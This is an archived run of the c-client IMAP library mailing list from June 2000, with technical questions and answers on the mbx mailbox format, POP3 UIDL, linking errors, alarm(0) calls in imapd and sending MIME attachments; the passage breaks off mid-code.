MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Where can I find a description of the MBX Mailbox Format. Mohammed Master University of Ottawa. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 29 10:34:09 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Jun 2000 10:34:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA04160 for ; Thu, 29 Jun 2000 10:34:08 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA05548; Thu, 29 Jun 2000 10:34:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA14142; Thu, 29 Jun 2000 10:33:47 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA47262 for ; Thu, 29 Jun 2000 10:33:06 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (bah@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA14691 for ; Thu, 29 Jun 2000 10:33:05 -0700 Message-Id: Date: Thu, 29 Jun 2000 10:30:26 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: master@athens.cc.uottawa.ca Cc: c-client@u.washington.edu Subject: re: Format of mbx mailbox In-Reply-To: <200006291516.LAA19846@alfred.cc.uottawa.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 29 Jun 2000 11:16:25 -0400, Master wrote: > Where can I find a description of the MBX Mailbox Format. Other than the sources, there is no description of the mbx format. In general, I discourage people from writing software to manipulate mbx format mailboxes. I recommend that instead, they use c-client. That way guarantees interoperability and data integrity, particularly as mbx format uses database type operations. If an external implementation gets the locking or update logic wrong, the result is likely to be damage to the file. If you like, I can give you a general overview of the format. From pinedev@shivax2.cac.washington.edu Thu Jun 29 11:01:57 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Jun 2000 11:01:56 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA32466 for ; Thu, 29 Jun 2000 11:01:55 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA06578; Thu, 29 Jun 2000 11:01:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA13454; Thu, 29 Jun 2000 11:01:38 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA16278 for ; Thu, 29 Jun 2000 11:01:02 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (bwi@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA27965 for ; Thu, 29 Jun 2000 11:01:01 -0700 Message-Id: Date: Thu, 29 Jun 2000 10:53:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: c-client Subject: re: UIDL support for POP3 - a patch anyone? In-Reply-To: <200006281011.LAA24889@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 28 Jun 2000 11:12:08 +0100 (GMT), Karsten Ballueder wrote: > I am in desperate need of some kind of UID support for POP3 folders and was > told that almost all existing POP3 servers support something called UIDL. Your information is correct, and ipop3d support UIDL. > Has anyone > got a patch for c-client that makes it use that UIDL ? c-client's POP3 client code doesn't currently support UIDL, and even if it did you wouldn't be able to access POP3 UIDs via mail_uid() because POP3 UIDs are a long character string (with arbitrary collation), unlike IMAP4 UIDs which are integers (with strictly ascending collation). However, it shouldn't be too hard to write your own routine to send a UIDL command and parse the responses. From pinedev@shivax2.cac.washington.edu Thu Jun 29 16:32:08 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Jun 2000 16:32:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA27656 for ; Thu, 29 Jun 2000 16:32:06 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA17358; Thu, 29 Jun 2000 16:32:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA12157; Thu, 29 Jun 2000 16:31:42 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA57748 for ; Thu, 29 Jun 2000 16:30:36 -0700 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA06211 for ; Thu, 29 Jun 2000 16:30:32 -0700 Received: from speedy.swi.com.br (speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.3/8.9.3) with ESMTP id UAA30901; Thu, 29 Jun 2000 20:32:08 -0300 Message-Id: <200006292332.UAA30901@stratus.swi.com.br> Date: Thu, 29 Jun 2000 20:32:08 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Mark Crispin , Cc: Subject: Re: Format of mbx mailbox Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Local-Destination: c-client@u.washington.edu X-Local-Origin: chaos@swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >On Thu, 29 Jun 2000 11:16:25 -0400, Master wrote: >> Where can I find a description of the MBX Mailbox Format. > >Other than the sources, there is no description of the mbx format. > >In general, I discourage people from writing software to manipulate mbx format >mailboxes. I recommend that instead, they use c-client. That way guarantees >interoperability and data integrity, particularly as mbx format uses database >type operations. If an external implementation gets the locking or update >logic wrong, the result is likely to be damage to the file. > >If you like, I can give you a general overview of the format. > Hi Mark, if you don't mind I would like that. Thank you, Raul Dias From pinedev@shivax2.cac.washington.edu Fri Jun 30 00:11:16 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 30 Jun 2000 00:11:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA27838 for ; Fri, 30 Jun 2000 00:11:15 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA12547; Fri, 30 Jun 2000 00:11:12 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id AAA07550; Fri, 30 Jun 2000 00:10:55 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA106996 for ; Fri, 30 Jun 2000 00:05:23 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA02106 for ; Fri, 30 Jun 2000 00:05:23 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA14612; Fri, 30 Jun 2000 00:05:21 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pd@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id AAA32165; Fri, 30 Jun 2000 00:05:21 -0700 Message-Id: Date: Thu, 29 Jun 2000 23:52:31 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: master@athens.cc.uottawa.ca, c-client@u.washington.edu Subject: Re: Format of mbx mailbox In-Reply-To: <200006292332.UAA30901@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Here's a brief description of the mbx format. This information isn't enough to implement software to interoperate with c-client; you should use c-client if you want to write an application to manipulate mbx format mailbox files. Mailboxes in the MBX format have a 2048 byte header. This header starts with the exact string "*mbx*"; CR LF; UID validity and last assigned UID represented as a 64-bit hexadecimal value; CR LF; 30 keywords (which may be empty), each separated by CR LF; and sufficient NULs to pad the header to 2048 bytes. It is possible that data will be added after the keywords in the header in the future. Following the mailbox header are zero or more messages. Each message starts with a message header, in the form: 22-May-2000 19:13:34 -0700,5514;000000000001-00000001 where "22-May-2000 19:13:34 -0700" is the internal date, "5514" is the size of the following message in octets, "00000000" is a bitmask corresponding to the keywords in the header, "0001" is a bitmask corresponding to system flags, and "00000001" is the message UID. Following the message header is a CR LF and the message, which must be exactly the number of octets in length given in the message header. The message text is in Internet format (lines delimited with CR LF, not UNIX style LF-only newlines). Note that CR LF line delimiters are used throughout the mbx format. mbx format mailboxes are identical on UNIX and NT. From pinedev@shivax2.cac.washington.edu Fri Jun 30 01:29:20 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 30 Jun 2000 01:29:19 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA02016 for ; Fri, 30 Jun 2000 01:29:18 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA27879; Fri, 30 Jun 2000 01:29:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA22870; Fri, 30 Jun 2000 01:28:59 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA93884 for ; Fri, 30 Jun 2000 01:28:11 -0700 Received: from lucano.uco.es (lucano.uco.es [150.214.110.200]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA08204 for ; Fri, 30 Jun 2000 01:27:48 -0700 Received: from lucano (localhost [127.0.0.1]) by lucano.uco.es (Postfix) with ESMTP id 9A41F658B3 for ; Fri, 30 Jun 2000 10:27:33 +0200 (MET DST) Message-Id: <20000630082733.9A41F658B3@lucano.uco.es> Date: Fri, 30 Jun 2000 10:27:33 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Luis Melendez Aganzo To: c-client@u.washington.edu Subject: Problem with locking X-Uri: http://www.uco.es X-Face: :eJAsnW*?ym##RD{:q2O>D6E<,-SucR7vV-Vk$86Zp=( ',!JQLMjJnCIl~X=^@s3x&X_}'\L1H,;Q"[9LQe2r+"B~pxXYrf ^UQnTdGaxXJ Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 30 Jun 2000 06:28:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA08605 for ; Fri, 30 Jun 2000 06:28:13 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA19104; Fri, 30 Jun 2000 06:28:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA25535; Fri, 30 Jun 2000 06:27:45 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA32002 for ; Fri, 30 Jun 2000 06:26:57 -0700 Received: from alinto.net (access-78.49.rev.imaginet.fr [195.68.49.78] (may be forged)) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id GAA25437 for ; Fri, 30 Jun 2000 06:26:51 -0700 Received: (qmail 30984 invoked by uid 99); 30 Jun 2000 13:17:15 -0000 Message-Id: <962371035.395c9ddbe0807@www.alinto.net> Date: Fri, 30 Jun 2000 15:17:15 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: amaury habrard To: Subject: Problems : how to use the famous c-client library MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I've a big big problem (enormous but very simple ?) : I want to make a little C client program for imap servers, so I get the c-client library imap-4.7c and I compile the library. but when I want to use the functions of the library I see the following message after the compilation on a linux Redhat 6.1: cc -Wall anothertry2.o -o imapmailparse -L/usr/lib/c-client.a anothertry2.o: In function `main': anothertry2.o(.text+0x3ec): undefined reference to `mboxdriver' anothertry2.o(.text+0x3f1): undefined reference to `mail_link' anothertry2.o(.text+0x3f9): undefined reference to `imapdriver' . . . anothertry2.o(.text+0x4e0): undefined reference to `mail_open' I don't really understand why. I thought that only the mm_* functions need to be implemented. Does it mean that I need to compile my program with all the source of the library? Maybe I don't understand how to use the library, then please help me. I hope that you can help me. thanks. amaury. ------------------------------------------------- A L i N T o - Restez joignable - www.alinto.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jun 30 07:53:48 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 30 Jun 2000 07:53:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA27341 for ; Fri, 30 Jun 2000 07:53:46 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA02565; Fri, 30 Jun 2000 07:53:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA15823; Fri, 30 Jun 2000 07:53:12 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA27056 for ; Fri, 30 Jun 2000 07:52:04 -0700 Received: from mercury.ex.ac.uk (mercury.ex.ac.uk [144.173.6.26]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA01446 for ; Fri, 30 Jun 2000 07:52:03 -0700 Received: from itspc11.ex.ac.uk [144.173.7.151] by mercury via SMTP (PAA3062689); Fri, 30 Jun 2000 15:52:02 +0100 (BST) Message-Id: Date: Fri, 30 Jun 2000 15:44:56 +0100 (GMT Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Phil Chambers To: c-client@u.washington.edu Subject: massive use of alarm(0) in imapd MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: P.A.Chambers@exeter.ac.uk X-Authentication: IMSP X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have just built and installed IMAP-4.7c under IRIX-6.5 (make sg6). I have only unixdriver, dummydriver and auth_md5 in linkage.(c/h) and am using the Berkley format for mailboxes. I had been using a much older version and we were hitting problems with disc throughput, so I wanted to look for any signs of a reduction in disc read/write activity with the new version. I ran "par" (IRIX truss-like tool) to monitor system calls and found a very surprising use of alarm(0) calls which I cannot trace in the code. I would appreciate an explanation if anyone can provide one. The trace below my signature shows the activity after LOGOUT. The LOGOUT command is picked up in imapd.c and the sigproc() and sigaction() calls come from the server_init() call. The close(6), fcntl(5), close(5) and unlink() come from unix_abort() (via unix_close() via mail_close()). Then there are 3840 or so alarm(0) calls which I cannot see any reason for before the write(1, "* BYE..) call back in imapd.c. These alarm(0) calls are not evident in a corresponding trace of the old code. I would welcome help in identifying this as if it is a bug I would like to fix it before putting the new code into service. Phil. --------------------------------------- Phil Chambers (postmaster@exeter.ac.uk) University of Exeter 30950mS[ 0] imap4xd(5053720): read(0, 0xfb46d20, 4096) 49095mS[ 0] imap4xd(5053720): END-read(0, "A00058 LOGOUT\r\n", 4096) = 15 49095mS[ 0] imap4xd(5053720): alarm(0) = 881 49095mS[ 0] imap4xd(5053720): alarm(0) = 0 49095mS[ 0] imap4xd(5053720): getpeername(0, {sin_family=AF_INET, sin_port=3148, sin_addr=144.173.7.151}, IN:16) OK 49095mS[ 0] imap4xd(5053720): sigprocmask(SIG_NOP, 0, []) OK 49095mS[ 0] imap4xd(5053720): sigaction(SIGALRM, {flags=0 handler=SIG_IGN mask=[]}, {flags=0 handler=0x40e4e0 mask=[]}) OK 49095mS[ 0] imap4xd(5053720): sigprocmask(SIG_NOP, 0, []) OK 49095mS[ 0] imap4xd(5053720): sigaction(SIGUSR2, {flags=0 handler=SIG_IGN mask=[]}, {flags=0 handler=0x40e670 mask=[]}) OK 49095mS[ 0] imap4xd(5053720): sigprocmask(SIG_NOP, 0, []) OK 49095mS[ 0] imap4xd(5053720): sigaction(SIGHUP, {flags=0 handler=SIG_IGN mask=[]}, {flags=0 handler=0x40e800 mask=[]}) OK 49095mS[ 0] imap4xd(5053720): sigprocmask(SIG_NOP, 0, []) OK 49095mS[ 0] imap4xd(5053720): sigaction(SIGTERM, {flags=0 handler=SIG_IGN mask=[]}, {flags=0 handler=0x40e950 mask=[]}) OK 49095mS[ 0] imap4xd(5053720): close(6) OK 49095mS[ 0] imap4xd(5053720): fcntl(5, F_SETBSDLKW, {type=F_UNLCK, whence=SEEK_SET, start=32, len=1131741474682044416}) OK 49096mS[ 0] imap4xd(5053720): close(5) OK 49096mS[ 0] imap4xd(5053720): unlink("/tmp/.b2.1a4c02") 49126mS[ 0] imap4xd(5053720): END-unlink() OK 49126mS[ 0] imap4xd(5053720): alarm(0) = 0 **** about 3840 identical alarm(0) calls deleted from the log here **** 49382mS[ 0] imap4xd(5053720): alarm(0) = 0 49383mS[ 0] imap4xd(5053720): time() = 962287837 49383mS[ 0] imap4xd(5053720): write(1, "* BYE hermes IMAP4rev1 server ", 82) = 82 49383mS[ 0] imap4xd(5053720): time() = 962287837 49383mS[ 0] imap4xd(5053720): getpid() = 5053720, ppid=316 49383mS[ 0] imap4xd(5053720): putmsg(4, 0x7fff1558, 0x7fff1564, 0) = 0 49383mS[ 0] imap4xd(5053720): prctl(PR_LASTSHEXIT) = 1 49383mS[ 0] imap4xd(5053720): exit(0) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jun 30 12:52:34 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 30 Jun 2000 12:52:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA17286 for ; Fri, 30 Jun 2000 12:52:31 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA11455; Fri, 30 Jun 2000 12:52:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA27190; Fri, 30 Jun 2000 12:47:02 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA35506 for ; Fri, 30 Jun 2000 12:44:59 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (warner@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA21475 for ; Fri, 30 Jun 2000 12:44:58 -0700 Message-Id: Date: Fri, 30 Jun 2000 12:43:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: amaury habrard Cc: c-client@u.washington.edu Subject: re: Problems : how to use the famous c-client library In-Reply-To: <962371035.395c9ddbe0807@www.alinto.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 30 Jun 2000 15:17:15 +0200, amaury habrard wrote: > cc -Wall anothertry2.o -o imapmailparse -L/usr/lib/c-client.a Try without the -L > cc -Wall anothertry2.o -o imapmailparse /usr/lib/c-client.a From pinedev@shivax2.cac.washington.edu Fri Jun 30 13:14:06 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 30 Jun 2000 13:14:06 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA05967 for ; Fri, 30 Jun 2000 13:14:04 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA11982; Fri, 30 Jun 2000 13:14:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA11823; Fri, 30 Jun 2000 13:08:49 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA79812 for ; Fri, 30 Jun 2000 13:08:01 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (lamarth@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA11597 for ; Fri, 30 Jun 2000 13:08:01 -0700 Message-Id: Date: Fri, 30 Jun 2000 13:01:52 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Phil Chambers Cc: c-client@u.washington.edu Subject: re: massive use of alarm(0) in imapd In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It is not a bug, although it is unfortunate. The problem is that the c-client library has to guard against alarms happening in certain sensitive functions such as malloc(). This isn't an issue in imapd, but it is very much an issue in Pine. That nice busy spinner in Pine is triggered by an alarm, and massive problems happen if that happens while a sensitive function is in progress (all Pine's malloc() requests go through the c-client library). The easiest way to see if an alarm is in progress is just to do an alarm(0) and see if the return value indicated that one was in progress. Since imap-2000 is in release candidate stage, I strongly urge you to consider using imap-2000 instead of imap-4.7c. Besides new features, imap-2000 has some additional bugfixes to the handling of UNIX format mailboxes. ftp://ftp.cac.washington.edu/mail/imap-2000.BETA.tar.Z I am curious why you felt that it was necessary to disable the other drivers and authenticators in the linkage. You're not gaining much, if anything, by doing so. From pinedev@shivax2.cac.washington.edu Fri Jun 30 14:14:17 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 30 Jun 2000 14:14:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA28180 for ; Fri, 30 Jun 2000 14:14:16 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA32500; Fri, 30 Jun 2000 14:14:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA01107; Fri, 30 Jun 2000 14:13:23 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA26794 for ; Fri, 30 Jun 2000 14:12:40 -0700 Received: from lndanmta01.pb.com (pbdbfw1.pb.com [152.144.120.124]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id OAA23027 for ; Fri, 30 Jun 2000 14:12:39 -0700 Received: by lndanmta01.pb.com(Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) id 8525690E.007207BD ; Fri, 30 Jun 2000 16:45:30 -0400 Message-Id: <8525690E.007205DD.00@lndanmta01.pb.com> Date: Fri, 30 Jun 2000 16:45:25 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Dileep Katta" To: c-client@u.washington.edu Subject: Sending Multiple Attachments Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: PBI X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I am new to c-client. I am trying to send multiple attachments. I couldnt figure out the right way. There seems to be a mismatch between the internal.txt documentation and the header files. >From my code, only one attachment (BODY1) goes through. Can someone please tell me what I am doing wrong? My code piece follows. Thanks, Dileep /************** BODY2 ************************/ if (stat("/tmp/crap1.doc", &file_stat) == -1) { printf("Cannot access %s \n", location); return; } file_size = file_stat.st_size; stream_buf2 = (void *)malloc(file_size); printf("Attach - crap1.doc size %d \n", file_size fh1 = open( location, O_RDONLY); read_size = read(fh1, stream_buf, file_size); if (read_size != file_size) printf("Problem: ReadSize:%d, FileSize:%d body2->encoding = ENCBINARY; body2->type = TYPEAPPLICATION ; param_attachment2->attribute = strdup("filename") param_attachment2->value = strdup("crapdoc.doc"); param_attachment2->next = NULL; body2->parameter = param_attachment2; body2->disposition.type = strdup("attachment"); body2->disposition.parameter = param_attachment2; body2->subtype = strdup("mycrapdoc.doc"); body2->contents.text.data = (void *) stream_buf; body2->contents.text.size = file_size; body2->size.bytes = (int) (file_size / 8); body->nested.part = mail_newbody_part(); body->nested.part->body = *body2; /************** BODY 1 Follows ************************/ body->encoding = ENCBINARY; body->type = TYPEAPPLICATION ; head->description = strdup("mail"); param_attachment->attribute = strdup("filename"); param_attachment->value = strdup(strrchr(location,'/')+1); param_attachment->next = NULL; body->parameter = param_attachment; body->disposition.type = 